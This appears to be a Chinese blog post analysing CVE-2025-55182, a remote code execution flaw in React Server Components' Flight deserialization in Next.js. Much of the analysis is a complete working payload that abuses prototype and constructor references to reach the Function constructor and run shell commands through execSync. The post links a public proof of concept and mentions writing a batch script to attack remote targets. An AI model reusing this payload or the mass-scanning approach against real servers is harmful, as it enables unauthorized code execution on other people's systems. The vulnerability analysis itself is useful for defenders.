当前位置: 首页 > news >正文

【Web】CVE-2025-55182 原理分析

目录

前置知识

漏洞分析

Part1

Part2

Part3

漏洞复现

本地复现

远程复现

其他思考


很好的语言,使你的漏洞旋转😂

前置知识

RSC

RSC(React Server Components,React 服务器组件)是一种 React 的新型组件模型,由 Meta团队提出并集成到现代 React 框架(如 Next.js)中。它的核心目标是将部分组件的渲染工作从客户端转移到服务器端,从而提升性能、减少客户端 JavaScript 包体积,并增强安全性。

从这个角度来看,很类似古老的php和jsp🤔

不再是从后端取json回前端渲染,而是后端处理后直接返回一个html界面

thenable

当你执行 resolve(x) 时,JavaScript 引擎不会直接把 x 当作最终值,而是先检查 x 是否是一个 thenable(即具有 .then 方法的对象)。如果是,就一直递归执行下去,直到没有then。

Flight协议

React Flight是一种基于 JavaScript 可序列化格式(通常是 JSON-like 的流式文本)的组件与数据传输机制,主要用于 RSC 场景下,在服务器和客户端之间高效传输 UI 结构和数据。

一些特殊引用:

$@

Chunk 引用

Promise"$@1"

$K

FormData 引用

FormData"$K1"

$B

Blob 引用

Blob"$B1"

漏洞分析

Part1

RSC根据 Content-Type(multipart/form-data 或其他)选择相应的解码器:multipart/form-data 使用 decodeReplyFromBusboy

这段代码使用 Busboy 解析 multipart 表单流(含文件和字段),将其转换为 React Flight 协议可消费的内部响应对象,并返回一个 Promise 以获取最终解析结果,用于支持 Server Actions 中的文件上传。

busboy 的事件监听器收到数据修改时就会自动触发 resoveField()

最终getChunk返回一个Chunk

关注resolveField() ,内部调用resolveModelChunk()

resolveModelChunk内部调用initializeModelChunk

来看initializeModelChunk实现

对chunk.value进行json反序列化,然后将反序列化后的值作为value传给reviveModel

调用reviveModel

调用parseModelString

其实就是根据Flight协议去对特殊符号解引用,算是某种意义上的“反序列化”

Part2

再来看Chunk.prototype.then的实现

当status为resolved_model时,调用我们熟悉的initializeModelChunk

去根据Flight协议“反序列化”,和Part1的流程一样,不赘述

Part3

来对照payload看,共涉及三次解析

payload用的:https://github.com/msanft/CVE-2025-55182

注意首先要用Next-Action去指定为Server Action请求

这里$1被指向了$@0,也就是name="0"的Chunk引用

第一次解析

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}

$1:__proto__:then被解析为Chunk.prototype.then

$1:constructor:constructor被解析为Function构造方法(理解很直观,chunk的构造方法本身是个方法,所有方法的构造方法,都是Function)

最终被解析为

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第二次解析

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

调用Chunk.prototype.then

这里重点来看$B是怎么处理的

其实就是对传入的数从16进制转成10进制,再与prefix拼接

而传入的prefix是一段恶意代码

var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

传入的_formData.get也被污染为了Function构造方法

Function("var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0")

解析成一个恶意匿名函数

function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}

最终整体被解析为

{"then": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}, "status": "fulfilled", "reason": -1, "value": "{\"then\": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第三次解析

此时发现还有then

就去执行then里的恶意匿名函数,从而达成RCE

漏洞复现

poc:https://github.com/msanft/CVE-2025-55182

本地复现

npm create next-app@16.0.6

cd test npm run dev

搭建好的首页

远程复现

写个批量脚本

远程抓一个打一下

其他思考

其实对"then"的赋值用不用prototype/__proto__都行,因为chunk.then全局没有定义,自然会去找其原型类的then方法调用

http://www.cnnetsun.cn/news/65724.html

相关文章:

  • 基于springboot的水果购物商城管理系统的设计与实现_5n1fg985
  • 计算机毕业设计springboot家庭理财系统 基于 SpringBoot 的个人家庭资产管理系统 SpringBoot+Vue 的智能化家庭财务分析与规划平台
  • 论文写作新范式:基于9款AI工具的实战评测,开题报告与草稿高效产出
  • 兼容性测试云平台使用方法
  • Selenium WebDriver多浏览器控制
  • 计算机毕业设计springboot基于微信小程序的核酸检测预约系统 基于微信小程序的 Spring Boot 核酸检测预约管理系统设计与实现 微信小程序结合 Spring Boot 的核酸检测预约平台
  • 计算机视觉项目启动利器:PyTorch-CUDA开箱即用环境
  • 收藏备用!企业级RAG落地全攻略:从避坑到选型的大模型实践手册
  • 从Java到前端:一位全栈开发者的成长之路与技术探索
  • 14、Linux与Windows环境下NFS和NIS的使用指南
  • 15、Linux与Windows系统集成:NIS、FTP及Telnet配置指南
  • 提升团队协作效率:用LobeChat搭建统一AI助手平台
  • 应用层|低空应用安全的 “精工锻造者”,中科数测以多工具矩阵赋能应用从开发到运维的全周期安全
  • 横观水力压裂模型:从 PDE 建模到 Comsol 模拟
  • 值得关注的人形机器人公司盘点,智元AGIBOT以卓越实力登顶
  • PLC连续可变S速度曲线算法仿真
  • 清华源替换Anaconda默认源,Miniconda下载速度飞跃
  • AutoGPT技术揭秘:大语言模型如何成为自主任务驱动智能体?
  • 18、Docker生态系统工具全解析
  • 25、容器监控与应用实践全解析
  • AutoGPT如何识别任务优先级?重要紧急四象限法应用
  • 收藏这篇就够了!RAG技术详解:让大模型告别幻觉的终极方案
  • 25、深入理解 Java 中的严格性与惰性
  • 26、深入理解惰性流:操作与应用
  • 如何在服务器上运行LobeChat镜像并对接GPU加速推理?
  • 【编号2551】从代码逻辑到实用体验:一款小红书笔记下载工具的技术实现与使用感悟
  • 大模型智能体开发指南:文件系统如何优化Agent性能!
  • ComfyUI集成Qwen3-14B的可能性探索:视觉+语言新组合
  • GPT-5.2震撼上线!性能碾压人类专家,程序员必学大模型技术,建议收藏
  • CompTIA CV0-004 Cloud+ 認證考試完整介紹